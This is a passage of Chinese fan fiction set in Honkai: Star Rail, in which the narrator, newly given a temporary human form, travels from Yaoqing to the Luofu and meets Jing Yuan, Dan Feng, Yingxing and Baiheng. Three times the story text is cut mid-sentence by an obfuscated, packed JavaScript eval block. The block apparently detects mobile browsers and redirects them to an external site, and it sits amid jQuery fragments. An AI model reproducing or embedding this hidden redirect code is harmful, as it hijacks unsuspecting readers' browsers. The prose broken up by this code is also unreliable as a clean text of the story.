月御笑道:“既然姑娘去意已决,我也不便阻拦了。日后若有机会,还请多多往曜青走动才好。”她意有所指地看向飞霄:“有人可是巴巴地盼望着你来呢。” 飞霄的白色小耳朵轻轻抖落,“将军,话也不用说得如此明显。” 月御笑了一声:“你们聊吧,我出去看看将士们的情况。” 月御走后,飞霄便凑近了你,“走,出去与我过两招。” 几日不见,飞霄倒是意气风发了许多。你与她一同来到外面,摆开架势。正要出招之时,拳头就要砸到飞霄的脸上了,她却一动不动,呆愣在了原地。 你紧急收拳,拳风擦着飞霄的脸颊而过。片刻的刺痛使她稍稍回神,她一下子擒住你的胳膊,将你反扭在身后。 你一脚往飞霄的脚背上跺去,飞霄早有察觉,一直擒着你的手躲避,隐隐的笑声从你的身后传来。 你直接向后撞在了飞霄的脸上。 “唔……” 飞霄松开了你的手,退后几步揉着自己的脸。你上前一步,正要出拳,飞霄伸手接住你的拳头,“稍等。” “怎么,想求饶了?”你有些挑衅地看着她。 飞霄问道:“无名,你是不是有什么新身份?” “新身份?”你不明所以。 飞霄松开你的拳头,扔过来一个镜子。你满心疑惑地打开,却在干净的镜面内看到了一个陌生的女子。灰白色的长发及到肩膀,淡蓝色的眉峰微微弯着,白嫩的脸颊上有两个浅浅的小酒窝,浅红色的唇角轻轻抿着。 “这是你朋友吗?”你拿着镜子凑到飞霄面前,“什么魔镜魔镜按我心意……” 你的话还未说完便咽了回去,因为你在镜面同样也看到了飞霄。 ! 你低下头,发现自己居然真的不再是个垃圾桶了。硬邦邦的铁皮化作了软乎乎的血肉,灰色则化作了宽松的长袍。 “恭喜无名姑娘,解锁限时新皮肤——人类。” 一道较为喜悦的声音从飞霄的口中发出,你满脸黑线。 难道继桑博之后,飞霄的定位也是个系统了吗。 欸等等,限时是什么意思啊。 飞霄继续道:“此皮肤仅在仙舟地区使用。” “……想要我不离开仙舟你就直说。” “月御将军如此直言不讳,无名你却还是要离开。”飞霄的语气有些无奈。此番她倒是有些恢复正常了,仿佛上一秒你们是在说别的什么一样。 你想了想,“若是想吃我做的小笼包,我再做一笼给你就是。” “真的?”飞霄的眼睛里冒出小星星,“我现在就要吃。” 你验证了心中的某个猜想——果然,系统都是不定时侵占他人人格的,而且还能不被对方察觉。桑博样子的系统还能正常些,知道用人设来掩饰自己,到了飞霄这里就是完全漏了马脚。 飞霄阶段是提示自己解锁了新皮肤,但是桑博呢。仔细想来,你在庇尔波因特的时候似乎没发生什么有关外形或者能力上的变化。难道是桑博是因为带不动你了,所以逃走了? 呃,这个想法似乎比较合理些。 飞霄一巴掌拍在你的肩膀上:“走,去小厨房,喝点儿酒,为你送行。” 你被飞霄揽着肩膀进了屋。飞霄找了一套衣服给你换上,你们就在桌子前坐下。刚想叫饭,椒丘便端着一锅九宫格进来了,“二位太过小气,有聚餐这等好事,也不叫上小生我一道。” 你朝椒丘的锅里看过去,红红的,看上去就很辣很好吃的样子。椒丘又推来一车子的食材,应有尽有。其中大多数还是药材什么的,你看着眼熟,但是叫不上来名字。还有好几坛子酒,摆满了你们的周围。 开吃! 飞霄吃得满嘴流油,腮帮子鼓鼓的,煞是可爱。椒丘的脸颊红彤彤的,像是上了胭脂一般,眼睛笑眯眯地看着你。你估计自己的吃相也不太好看,但管那么多做什么,有吃的就不错了。 以前是个垃圾桶的时候,不吃饭也能生存下去。再加上身边也没钱,你便没有了口腹之欲。现如今可是不同了,你再次变成了人,虽然只是限时的,但也要趁此机会好好耍上一番,吃喝玩乐样样都要。 没有口腹之欲倒是真的,但现在如狼似虎地将食物洗劫一空也是真的。原来你当垃圾桶的时候不是不饿,而是没有兴致。 好生奇怪。 不吃的时候不饿,一吃就觉得饿。 你顿时化身大胃王,与飞霄一同并肩作战。椒丘在旁摇着羽扇,唇角微勾。他虽然没有和你们一样吃得极为尽兴,但却是一副心满意足的样子。 “嗝——” 夜色渐晚,你打了个饱嗝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241219|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒服地瘫倒在椅子上。椒丘把你拉起来,叫上飞霄一起:“饭后散步。” 淡黄色的月亮在夜幕中悬挂,点点繁星环绕其中。飞霄双手叠放在脑后,一边走还一边吹着口哨,看上去一副怡然自得的模样。椒丘一手负在身后,一手捏着把灰色的羽扇,还是那副笑眯眯的样子。 你则有些拘谨,当垃圾桶的时候不顾形象地在大街上乱跑乱奔。现在成人了,倒不知道怎么走路了,双手摆放在哪里都觉得不对。想了想,还是双手背在身后。 “无名,你下一站要去哪里。”飞霄打了个哈欠,懒洋洋地问你。 好不容易解锁了新皮肤,还是得多使用一阵子。既然只能在仙舟上用,下一站估计也还是仙舟吧。 飞霄见你半天不说话,便提议道:“罗浮吧,仙舟联盟首屈一指的首舰。” 椒丘点头应道:“飞霄说得极是。罗浮有景元将军坐镇,正在休养中。相较起曜青,可是安稳得多。正巧我也要去罗浮一趟,对呼雷那头孽畜研究一阵子。” 思来想去,罗浮的确是个不可多得的好去处。你便应承下来,飞霄闻言眼睛顿时也眯成了一条窄窄的缝隙。她主动将脑袋凑了上来,“为了让你不留遗憾,我的耳朵你想摸多久都可以。” 啊,真的吗?突如其来的好事就在眼前发生,你简直有点儿不敢置信。飞霄的耳朵你早就觊觎已久,但碍于对方未来是曜青将军的身份,你从来不敢奢望。但现在是飞霄主动凑上来了欸,如此机会,你怎能拒绝。 嘿嘿。 你有些激动地搓了搓手,探向飞霄耳朵的时候都有些微微颤抖。最后还是飞霄帮了你一把,擒住你的手腕放在她的狐耳上。 “我看着都费劲。” 你终于如愿以偿地摸到了飞霄的耳朵。毛绒的触感盈满你的手掌,有些痒痒的软软的,叫人忍不住咬上一口。 你不敢摸太长时间,有些悻悻地收回了手。飞霄见你还没有摸够,有些不怀好意地瞥了一眼椒丘:“旁边还有一位呢。” 椒丘摇羽扇的手一顿,他轻咳一声:“……才想起,我还有位病人……” “欸,不要走啊。”飞霄挡在他的面前,双手环胸,笑着道:“也不急这一时半刻。” 椒丘露出些许无奈,没应声,只是微不可察地点了点头。 面对椒丘,你便没有那么拘谨了,只是伸手捉住了他的红粉色耳朵。也没像摸飞霄时浅尝辄止,而是力道稍微重了些,连柔软的耳骨都触及到几分。他的耳朵在你的触摸下有些微微的颤抖,甚至渐渐发烫发热。你还没有细细摩挲的时候,椒丘的身躯便禁不住颤抖了一下,摇羽扇的动作也有些紊乱了。 视线缓缓下移,你才发现椒丘的眼睛一直直视着你。淡黄色的眸子里透着些许粉色,眸底似乎含有一些说不清道不明的情绪。唇线微微拉直,抿紧了。 你收回了手,转而握住他那蓬松的尾巴。 椒丘的身躯一下子僵住了,手里摇着的羽扇啪地一声掉落在地。 18.仙舟「罗浮」 你将椒丘的尾巴蹂躏一番后才肯罢休,他像是遇到了什么洪水猛兽般,在你的手松开他尾巴的那一刻,顿时落荒而逃。 飞霄哈哈笑道:“椒丘估计是忙病人去了,改日他便后悔了。” 后悔什么。 你也不会细问了,离开曜青仙舟的星槎已经来了。你直接跃上星槎,自己操纵着离开曜青。 说来也怪,自从驾驶舰船撞毁公司大楼后,你对于驾驶星槎之类的就无师自通了,熟练得有些过分。 呼呼的风声在你耳边响起,星槎的速度越来越快。你的内心激动又雀跃,仿佛飞鸟一般自由在星空中翱翔。你穿过云层,在湛蓝色的天幕中划出几道优美的弧线。 “不错嘛,小姑娘,驾驶星槎的速度和我有得一拼。” 旁边不知道什么时候多了一艘星槎,里面坐着一个白色的狐人。倒不是飞霄那种纯白,而是微微泛着淡淡的紫色。笑容很有感染力,不是椒丘那种像是藏着阴谋的微笑,而是那种极为欢快开朗的。 “你就是无名吧,我是白珩,罗浮的狐人飞行士。以后我们就是朋友了。要不要和我比上一比,看我们谁先到达罗浮。” 白珩,云上五骁之一。但是如果你没记错的话,这个时间点她应该不在人世了才是。 ! 你有些明白了。原来桑博当系统的时候,你并不是一无所获,而是已经掌握了信息库。对于一些人和一些事情,你都已经了如指掌。 “嗨。”白珩飞到你的星槎面前转了几圈,“想什么呢,无名。” “你怎么知道我的名字。” “你是从曜青仙舟来的吧。”白珩拨弄了下自己的淡紫色狐耳,爽朗道:“我也是狐族人,当然是月御将军告诉我的。” 呃,她这么一说乍一听还比较合理,最起码不是说飞霄告诉她的。月御将军什么时候成为曜青将军的你倒是不知道,但是她最终活到了第三次丰饶民战争,而白珩是在第二次丰饶民战争中与倏忽同归于尽的。两次丰饶民战争间隔七百多年,狐族人寿命仅有三百年。怎么也不会是月御告诉白珩的。 但此番你却是明白了——每当你换一个地方,时间线便会提前。但为了让你不产生怀疑,中间产生的bug自动修复,至于修复成什么样子就不知道了。比如公司大楼的损毁,月御从未正面承认过,只是闪烁其词。比如得知你的名字,白珩倒是承认了,但却是找了一个不漏洞百出的理由。 如果不是桑博留下来的信息库,只怕你现在还被蒙在鼓里。如此说来,桑博才是系统的bug吧。难怪他被夺去了人形,难怪他的面具是半哭不笑的——一半假面愚者,一半悲悼伶人。但更为欢愉的是,这两者皆走在欢愉的命途上。 “想什么呢,无名?” 白珩居然直接跳到了你的星槎上。她身手极为敏捷,胆子也是非常大。在如此高速行驶的蓝天中,她完全没有一丝惧怕,反倒更为激动,甚至去抢夺你的操纵权。 “我们来模拟一下空中劫机。” 白珩说着,便直接劈手夺来。你点了下自动驾驶,与她缠斗起来。只是可惜,她驾驶星槎的本领或许是一等一的,但是身手却有些逊色。但有道是术业有专攻,身手差些也无可非议。 你再次将白珩按倒在座位上,然后松手。白珩坐起来,摸了摸方才被你掐过的脖子,心有余悸地为你竖了大拇指:“身手了得。” “过奖。” 你正要重新操纵星槎,却只见一棵枯死的大树近在咫尺,枝干上还生有黄绿色的火焰。 ! 你紧急制动,但却无济于事,顿时一下子慌了神。电光火石的几秒内,你在想自己这副身躯究竟能不能经得起这次撞击。既然是皮肤,那么身体的坚硬程度应该还在吧。 就在你想些有的没的时,白珩一把推开了你,操纵着星槎急速转弯。如此极限的速度,你被狠狠甩在座位上。但好景不长,即使避免了星槎头部的撞击,尾部却是直愣愣地擦着树干而过,然后迅速燃起熊熊大火。 “跳!” 不等你反应,白珩已经丢开操纵杆朝你扑了过来。你们一起摔下星槎,直直地往下坠去。 你恍惚间看到下面有个人影,面无表情地想。两个人一起砸下去,不会把人砸死吧。 砰—— 不知道是不是你的错觉,落地的瞬间,你感到有一阵白色的迷雾升起。 “呃……” 下面的人发出痛苦的声音,看样子好像还活着。你抱着白珩起身,看清下面人的面容时,你稍微一怔。 此人和刃拥有着一模一样的面庞,只是头发已经有些微微泛白。 “应星,多亏你给我们当人肉垫子了。”白珩把应星拉了起来,拍了拍他身上的土。 “这个月撞毁第三十六艘星槎了……”相较于刃,应星的语调显得更为上扬一些,没有那么地阴沉。他看样子已经不太想多说了,扶了下额头:“星槎克星……” “我这些算得了什么。”白珩拉过你,介绍道:“这位无名姑娘可是重量级,直接驾驶着星槎炸毁了星际和平公司的大楼。” 呃,一下子被拽到应星面前,你还有点儿不太适应。此时的他,虽然黑色的发丝里夹杂着些许白发,但看起来也是意气风发的,甚至可以说是有些狷狂,实在与你先前见过的那个阴沉的星核猎手有些不搭。 应星看了你一眼,又看向白珩:“这是你新找到的和你一起胡闹的小伙伴?” “白珩又有什么精致的胡闹了?” 一道极其慵懒的声音过后,一个白发男子打着哈欠走过来,唇角上扬,一副极为惬意的模样。看到你时,像是发现了什么新奇的东西,眉眼弯弯道:“看来白珩要给我们介绍新的小伙伴了。” “新的伙伴?” 一个有些冰凉的女声,说话间,又是一个白发红眸的女子走出来。 “……” 与此同时,一个身穿白色衣袍的人也慢慢踱出。青绿色的长发披散在肩头,额角生有两个尖尖的小龙角。一双狭长的丹凤眼,尾部晕染有嫣红色的眼线。 “呃……” 你往后退了半步,蓦然间撞上一座冰凉的石像。抬头看去,这尊雕像与龙尊有九分相似。你有些明白这里是哪里了,显龙大雩殿。那刚才撞上的那棵枯死的大树…… 视线不由自主地往那棵大树上扫去,没想到树没看到,倒是看到了一张笑眯眯的面庞。你后撤半步,距离如此相近,此时此刻,你脑子里想的居然是你如今这副身躯竟然和景元差不多高。 你伸出手,在其余人震惊的眼神中揉了揉景元的头顶。景元本人显然也较为吃惊,但随即恢复了些许笑意:“无名姑娘倒真是与旁人不同。” “过奖。” 前不久才摸了飞霄的耳朵,如今又揉了景元的脑袋,这下出去吹牛都有得吹了。 景元唇角弯弯,凑近了你,压低声音道:“摸我的脑袋不算什么,如果你能摸到那位的龙角,我才真的佩服你。” 你顺着他指的方向望过去,丹枫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243489|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与应星以及白珩和镜流他们已经在布置了,看样子似乎要大吃特吃一顿。 那股独属于丹枫的清冷气质由内而外地散发出来,一张俊美的面庞也是极其惊为天人。白色的袍角若隐若现地点缀着鹤纹,既显得素雅又极为高贵。 呃。 你又是后退半步。 如果摸了他的龙角,会被灭口的吧。 景元拍了拍你的肩膀,给了你一个台阶下。只听他慢悠悠地开口,看热闹不嫌事大一般:“若是那位龙尊你不敢上手,那个白发的匠人也可以试一试。只要你能扯下他后脑勺的发簪,我免费给你当导游。” 啊。 虽然现在他是应星,脾气估计比刃好上不少,但是看起来也是沉默寡言的那一款。这五个人里,估计也就白珩和景元开朗活泼点儿。 景元看出你的犹豫,又开始鼓动你:“若还是有些难度,那位……” “停停停——”你打断了景元的话,双手环胸:“你把我害死了对你有什么好处,怎么净鼓动我不干人事。” “难得来了个有趣的,活跃一下气氛嘛。你放心——”景元立即表态,“如果他们要打你,我会帮你的。” “……谢谢你。” 你和景元说话的功夫,那四个人已经布置好了。白珩过来拉你,与景元一左一右将你架在了座位上。这下六个人,六个座位,齐了。 你的左边是白珩,右边是景元。对面是丹枫,左上角是镜流,右上角是应星。他们推杯换盏,你却兴致缺缺。来时在曜青大吃了一顿,现在又在罗浮大吃了一顿,但心境却完全不同。可能椒丘与飞霄都是与你过分相熟的,但是现在的状况却不是。 只有白珩让你觉得没有距离感,景元算半个吧。 “在说我坏话?” 景元倏然间凑近了你,鼻尖挨着鼻尖。些许酒气从他的身上散发出来,淡淡地萦绕在你们中间。 “我……” 你的呼吸仿佛瞬间停滞了,脸色开始发烫。如此清晰的距离,你能清楚地看到他金黄色的眸子。额前银白色的发丝微微随风飘动,衬得他那双眸子流光溢彩。 你别开眼睛,筷子无意识地戳着眼前的盘子。深呼吸几次后才看向景元,再次伸手揉了揉他的头发。 不知道为何,景元的头发像是有种魔力一般,让你一上手就舍不得松开。景元稍稍离远了你些,“如此喜爱我的头发,今晚不若到我的住处去。” 啊。 仙舟人说话不是含蓄吗,怎么如此露骨。不对,这说辞其实挺委婉的了,是你看了太多东西,自然而然地想到了别处。 你的脸又开始发烫,转开脸去,不动声色地喝了一口冰水压压惊。他们说什么你全都像是隔着一层雾似的,听不清楚。只有身旁景元的呼吸愈加沉重,以及……还有你的。 酒足饭饱之后,白珩被镜流拉走了,不知道做什么去了。丹枫回洞天去了,应星回了他的工造司。唯有景元,非要拉着你去拜见滕骁将军。 你有些烦躁地抓了抓头发。 景元领着你来到一处府邸,刚打开门,一头白色的大狮子便将你扑倒在地,不由分说便在你的脸上舔了几下。 “好了。” 景元揉了揉大狮子的头。你爬起来,也学着他的样子揉了揉大狮子的头。 毛茸茸的,和景元的头发一个感觉,甚至手感要更好些。你有些明白景元为何要你到他府上来了,同时心底有些羞赧。 一天天的,净想些什么乱七八糟的。 19.仙舟「罗浮」 你在景元的府上睡了一夜,一夜无梦,睡眠质量好得有些过分。你出了房门,景元估计还睡着,院子内静悄悄的,只有昨晚见到的那头大狮子卧在门口。那个大家伙听到声响就立即站起了身子,不由分说再次将你扑倒在地上,然后就去舔你的脸。 这个大家伙是对你的脸有什么情有独钟的癖好吗。以前是个垃圾桶的时候,倒是有些猫猫狗狗喜欢往你的桶身里钻。虽然你的身体内没有垃圾,但对于这些流浪的猫猫狗狗,有个能够遮风挡雨的地方就不错了,哪里还敢奢望别的。 但眼前这只大狮子显然不符合那些猫猫狗狗的情况。养在景元的府上,好吃好喝着,毛发还打理得特别光滑顺溜。唯一的烦恼大概就是不能时时刻刻陪伴在景元身边吧。 你心里蓦然间有些不是滋味,抱住了大狮子的脑袋埋在里面,感觉着大家伙蓬松的毛发里些许太阳的味道,有些爱不释手。 “抱着我不放,我要喊非礼了。” ! 你猛然抬头。 这头大狮子会说话? 你仔细打量了下,见这个大家伙也是有些许茫然的样子,估计是不明白你为什么忽然间放开了它。 “找什么呢?” 直到这道透露着些许倦怠的声音响起,你才知道被耍了。怒从心头起,抬眼一看,景元果真坐在大狮子后面的台阶上呢。大清早的,只着了一层薄薄的白色中衣,领口倒是系得紧紧的。一头银白色的发丝有些杂乱地束在脑后,金黄色的眸子一瞬不瞬地看着你,眼角处的那颗泪痣隐匿在银白色的发丝中若隐若现。右手搭在膝盖上,托着下巴,似笑非笑。 你看呆了眼睛,有什么东西从鼻子里流出。你胡乱抹了一把,有些粘稠,泛着铁锈的味道。低头一看,手心里已经是一片鲜血。 ! 太没出息了! 你几乎都不太敢看景元了,唯恐他借机调侃你。直接丢下大狮子和景元,夺门而出。 清晨的冷风让你的脑袋清静了不少,你只顾闷着头往前跑,误打误撞掉进了一处荷花池里。冰凉的水漫过你的头顶,几乎要将你全部吞没。你挣扎了几下,发现自己居然在水里也能自由呼吸。便不再执着回到地面,而是在水池里漫游起来。 没想到这处荷花池还不老小,不同层次和深度的游鱼应有尽有,再往下潜去还看到了不少晶莹剔透的持明卵。 奇怪,持明卵不应该在波月古海吗。难道这处荷花池与波月古海是相通的?若是这样的话,建木的玄根估计也在这里了。 天呐。 昨天才驾驶星槎直接撞上了建木,今天就下潜到古海底查看玄根的情况。接连两次都和建木有关,这就算是跳进波月古海都洗不清吧。 你正要浮上去,一把长枪已经直冲你的咽喉而来。 好家伙。 真是想什么来什么。 堪堪躲过去,没想到又是一阵水流直接冲你的面门而来。你被强制洗了一把脸,视线一片模糊。再睁眼时,一个清冷的男子立在你的面前。青绿色的长发在水中飞舞着,与发色相近的眸子疏离又冷漠。他一手负在身后,一手举过头顶。水流被他的力量牵引着,汇聚在一起。 丹枫神情冷淡,白色衣角纷飞。此时此刻,此情此景,你竟还有心情这番美色,甚至还在想。横竖丹枫都生气了,摸一下龙角应该不过分吧。 在作死的赛道你是一骑绝尘。 难怪连景元都忍不住撺掇你。 该! 你招了招手,一把银色的小弓箭出现在手中。你拉了拉弓,一支白色的箭搭在弦上。 丹枫看到你手中的弓箭,稍微愣了一愣。 你瞅准时机,直接射出箭矢,将水流隔断。丹枫放下了胳膊,双手环胸,若有所思地看着你。直到你近到身前,他居然都面不改色,似乎是在琢磨你究竟是什么来路。 然而你出乎意料,伸出手探向丹枫的龙角。丹枫眉头轻皱,但却没有避开。 你如愿以偿地触及到了那冰凉的龙角,有些滑滑的。顺着尖尖往下摸去,却是越发滚烫。特别是在这冰凉的海水中,愈加明显。 尖尖的龙耳已经有些泛红。再看丹枫,他紧闭着双眼,唇角也是抿得紧紧的,神情有几分隐忍的感觉。 好家伙。 你还是识时务的,唯恐下一秒丹枫爆发,便松开了他的龙角。然后识趣地退避三步,与丹枫拉开距离。 不想,丹枫却追了上来,眸子有些泛红。 难道他要来取你性命? 你直接朝上游去,浮出了水面。抹了把脸,你爬上了岸。又快速把衣服烘干后,才松了口气瘫坐在地上。 呼—— 这一天天的,真是不让人省心。 你在地上躺了一会儿,便爬起来在罗浮四处溜达。 此时街道上已经有了零零散散的人群,冒着热气的小笼包在清晨的曙光下煞是可爱。 你在人群中穿梭,感觉有些新奇。不再以垃圾桶的视角去看人类,才发现也没有那么遥不可及。 你正感叹着,蓦然间一个隐匿在人群中的家伙引起了你的注意。此人极为怪异,一双绿油油的眼睛像是淬了毒一般,不怀好意地盯着已经枝繁叶茂的树木,似乎是在寻找着什么。 你不作他想,直接跟在此人身后。只是你如今的伪装技术实在算不得高明,一头灰白色的长发实在是有些显眼。才过了几条街道,你就被这个绿油油的家伙发现了。 他彻底撕开了伪装。 这句话太抬举他了,他从始至终都没有伪装过。 一句胡没说,直接朝你攻了上来。你招了招手,银色的弓箭便出现在手中。你却没有弯弓搭箭,只是用弦狠狠擦破了他的脸颊。 看着他的脸在短时间内飞速愈合,你顿时明白了。这是一个彻彻底底的丰饶民,来罗浮就是为抢夺建木。 你理了理时间线,如果没有记错的话,这是继第二次丰饶民战争之后,丰饶令使倏忽在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246542|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉阙的阴谋被云上五骁粉碎,却很快卷土重来,对罗浮实施报复,夺取建木。这次大战中,罗浮损失惨重,几乎一半的洞天都被摧毁。 “……” 虽然不清楚发生在你身上的时间bug是怎么回事,也不知道你的行为会不会对后来产生影响,但该做的事情你还是要做,因为不想留下遗憾。 就在你愣神的时候,那个绿家伙已经朝你冲了过来,不由分说便一口咬在了你的胳膊上。 利齿刺入皮肉,你顾不得疼痛,一掌劈在他的脑袋上。绿家伙很快避开,擦了擦嘴角的血,露出一个极其恶劣的笑容。 你冷笑一声,也不加掩饰地将胳膊竖起来。伤口虽然还在往外流出黑血,但是却是也在慢慢愈合。直到恢复如初,一点儿伤疤都没有留下。 那个绿家伙目瞪口呆地看着这一切,几乎要忘记了攻击。他猝然抬头,视线停留在你脸上三秒。你几乎没有任何犹豫,直接用弓箭卡住了他的头颅。弓弦十分锋利,几乎就在瞬间结果了他的生命,完全不留任何恢复的时间。 鲜血喷涌而出。 你不在意地擦去脸上的血迹,毁灭的力量在你掌间汇聚。地上的尸体迅速消失得干干净净,连渣滓都没有留下。 做完这一切后,你若无其事地往回走。但与此同时,心里却在盘算着。既然有这么一只混进来了,那么应该也有别的才是。这只不能带回去盘问,但可以捉只别的。 “好生厉害。” 你的思绪被打断,抬眼时却发现一位白发匠人站在你的面前。 呃。 你满脸黑线。 这个家伙是什么时候出现的,更重要的是,你居然一无所知。难道成了人,你的五官敏锐程度如此差劲了吗。 面对应星的话,你选择忽视,想越过他离开。经过他身旁的时候,你以为会被一把扯住。但出乎意料,应星并没有这么做,而是任由你离开。 你晃了晃脑袋。 整天都在想些什么乱七八糟的。 然而下一秒便被哐哐打脸。 应星在你身后道:“我们以前是不是见过。” 呃。 这个问题还真不好回答,对于你来说确实以前见过。但是对于他而言,却是以后会见。但想起你的时间是倒流的,又觉得这个相见估计也是噱头。 但是应星的记忆应该是正常的。难道在此之前,你们还见过?往前推时间线的话,大概就是朱明仙舟了。 难道你下一个地方是朱明? 这是什么奇怪的猜测。 面对应星的问题,你只能含混说了句以前曾在朱明仙舟待过类似的话。说完之后,你突发奇想,或许还能捞个怀炎老将军的徒弟当当。但此话你却是没说出口,因为应星就是怀炎的弟子。虽然怀炎不止一个弟子,但指定互相之间都认识。撒谎撒到正主面前,不是纯纯找死吗。然而应星的下一句话便叫你如坠冰窖,浑身透体发凉。 “无名师妹。” 20.仙舟「罗浮」 呃。 事情的进展明显出乎你的意料了。 “没想到你也一道来了罗浮,当初叫你和我一起来,你还不肯。”应星走到你的面前,见你神色有些不自然,便伸手探向你的额头:“生病了?” “没有。”你摇了摇头。本着言多必失的原则,你还是觉得尽量少说话为好。但应星不知怎么,今日的话居然有些多。 “昨日见你时,见你长高了一大截。本想着像往常一样你还能主动来找我说话,不想几年不见,你却变得有些沉默寡言了。” 呃。 怎么感觉应星像是拿了某种邻家大哥哥的剧本。 “我回了工造司,也不见你来寻我,打听之后才知道你被景元带入府了。我一早来寻你,景元却说你不在府里了。我又寻到此处,竟然看到你与人打架。” 应星赞道:“好生厉害。想起以前,你才只到我腰身的位置,如今都能有这番功夫了。” 这几番话信息量不少,但也是看似什么都交代了,什么又没交代。听应星的语气,好像你们之前关系不错。 你想起昨日景元撺掇你做的事情,小心翼翼问道:“应星……” 话才出口,应星就弹了你的额头一下:“没大没小的,你以前可是叫我师兄的。” 你抿了抿春,“应星兄。” 应星还不满意:“听上去像是景元会叫我的称呼。” “应星哥。” 他终于满意了,问道:“什么事情?” “你头上的发簪……” “你说发簪?”应星的手绕到脑后,一番整理后拔下了簪子,交到你手上:“你要是喜欢,送给你。” 一头白色的发丝如瀑布般垂下,在清晨的阳光下闪闪发着光。 你有些惊讶。 今日的应星和昨日的完全不同,简直像是被人夺舍一般。但你了解的应星又有多全面呢,脑中对于他的信息少之又少,基本都是阴沉和狷狂二字,而且还都是通过他人的视角来描述的。可能,或许,说不准真实的应星其实就是目前这个样子的。 你又问道:“应星哥,你在罗浮这里混得如何?” “还可以吧,云上五骁之一,工造司的百冶,基本有名有姓的武器皆出自我之手。再有几年,工造司的司长就是我了。我要让他们知道,我应星虽是个短生种,但仅仅几十年的成就也比他们几百年的成就要高。该觉得害臊的是他们才是。” 你笑了笑,“既然如此,以后我在罗浮就靠你罩着了。” “随时随地。”应星轻轻一笑,自然地揽过你的肩膀,“走,回工造司吃早饭去。” 他这么一说,你也觉得有些饿了,便跟着应星回到了工造司。你们在小案前坐下,只有你和应星两人。应星递给你一双筷子,“都是你以前爱吃的,不知道现在还合不合你的口味。” 不知为何,你总觉得你和应星口中的你隔着一层薄薄的纱,大概就是和你现在看应星和刃时一样吧。 还记得在公司初见时,他上来就问了一句。死了么,他要给你收尸。语气有些阴沉,但你却没有感到任何不适。当时觉得奇怪,现在想来,好像有几分释然。 你和应星度过了一个比较丰富的早晨。当然,丰富是指早餐。吃饱饭足后,应星烧了一壶茶。你想起了你消灭掉的那个丰饶孽物,便一五一十地和应星说了。 “近来丰饶孽物频繁来罗浮打探,估计不日便要来捣乱了。”应星冷哼一声,手里的茶杯重重放在桌案上:“敢来就要做好回不去的打算。” “嗯。”你应了一声,“到时我也尽力。” “你的身手确实进步不小,是师父他老人家传授的功劳吧。”应星道:“他老人家的身子骨可还硬朗?” 这个问题,你如何回答。你搜集着脑子里的信息,想着他老人家活了近两千年,如今应该身体还算不错的吧。 “照旧。” 应星吐槽了一句:“你这性格转变得有些太快了,惜字如金。” 多说多错。 你心中默念这四个字,只是喝了一杯茶,并没有说别的。 你们又喝了会儿茶,应星说工造司还有事情,他要去忙了。临走之时说你在哪里转悠都可以,就是不要去鳞渊境。还说丹枫那个家伙脾气不好,唯恐你哪句话触了他的逆鳞。 你心想,何止逆鳞,你都摸了人家的龙角了。就是尾巴,还没来得及摸上一摸。不过像丹枫这样修为的,龙尾应该能够收放自如了。除非他自己主动露出来,否则你是摸不到的。 想到此处,你已经有些后悔昨日没和景元打个赌了。没想到昨天你还不敢做的事情,今天都已经做完了。诶不对,景元答应你一件事情来着,他说要给你免费当导游。 你抬头看了看天色,如今已经是艳阳高照的晌午,景元早该穿戴整齐了吧。这会儿回去,应该不至于再流鼻血了。 若是景元借机调侃你,你就说天干物燥。若是他再说些别的,你就随机应变得了。 你很快地说服了自己,然后十分愉快地找景元去了。 到了景元府上时,门口的云骑说是骁卫去军中了。你本想离开,不料云骑却说可以带你去找他。 你有些难以置信,没想到你身为一个外人居然也可以进入云骑军中,那个云骑又说是骁卫吩咐下来的。 你便跟着云骑走了,恍若刘姥姥进了大观园一般,看什么都比较新奇。 演武台上,除却景元,还有镜流和滕骁。他们在紧急操练着,似乎有什么不得了的事情要发生了。 你想起早上的那个绿家伙,叹了口气。 看来一场大战在所难免的了。 你静静地站在云骑之外,听着他们铿锵有力的号子,看着他们标准整齐划一的动作,心里也同他们一样备感振奋。 倏忽,倏忽又如何。用应星的话来说,就是既然他们有胆子来,那就让他们有去无回。 “你在这里做什么。” 景元不知何时已经走到你的身旁,食指摸了摸鼻子,笑着问你:“近来天干物燥,小心上火。” “……” 只能说不愧是景元吗,居然连你的借口都一并说了出来。只是这副调侃的口吻,也不知道是在给你台阶下还是在揶揄你。 你讪讪地摸了摸鼻子,重复着景元的话,“天……天干物燥,景元你也当注意些才是。再过几日会降温,若是穿得少了,会着凉的。” “会降温?”景元微微一笑,“原来无名姑娘还会观测天气,姑娘果然是不可多得的人才。” “啊……会一点。”你想起了早上应星和你说过的话,解释了一句 